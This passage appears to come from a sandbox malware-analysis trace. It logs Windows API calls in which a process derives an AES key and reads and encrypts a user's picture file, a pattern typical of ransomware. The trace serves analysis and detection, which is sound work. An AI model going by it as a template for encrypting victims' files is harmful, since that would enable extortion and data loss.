lpMsg=0xe8f3dfeb20) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.738] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.738] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.738] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.738] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.738] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.738] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.738] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.738] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.739] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.739] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.739] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.739] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.739] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b9f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.739] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.739] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.739] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.739] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.739] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.740] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40625d0) returned 1 [0028.740] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.741] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.741] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.741] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417aba0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0028.741] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0028.742] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0028.743] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.743] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.743] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.744] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\Tg7ZWTiiMx.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\tg7zwtiimx.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.744] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.744] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.747] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.747] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x8d56, lpOverlapped=0x0) returned 1 [0028.747] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.749] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.749] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.749] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.749] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.750] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.750] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.750] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.750] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.750] CryptGetKeyParam (in: hKey=0xe8f40625d0, dwParam=0x7, pbData=0xe8f4064c60, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.751] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.751] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.751] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.751] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.751] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.751] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.751] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x8d56, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x8d60) returned 1 [0028.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.753] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.753] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.753] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.753] CharLowerBuffW (in: lpsz="byte[36193]", cchLength=0xb | out: lpsz="byte[36193]") returned 0xb [0028.753] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.754] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.754] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.754] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.755] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417ac80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0028.756] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0028.756] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4394850*, pdwDataLen=0xe8f3dfdf68*=0x8d56, dwBufLen=0x8d60 | out: pbData=0xe8f4394850*, pdwDataLen=0xe8f3dfdf68*=0x8d60) returned 1 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.757] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.757] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.757] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.757] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.760] 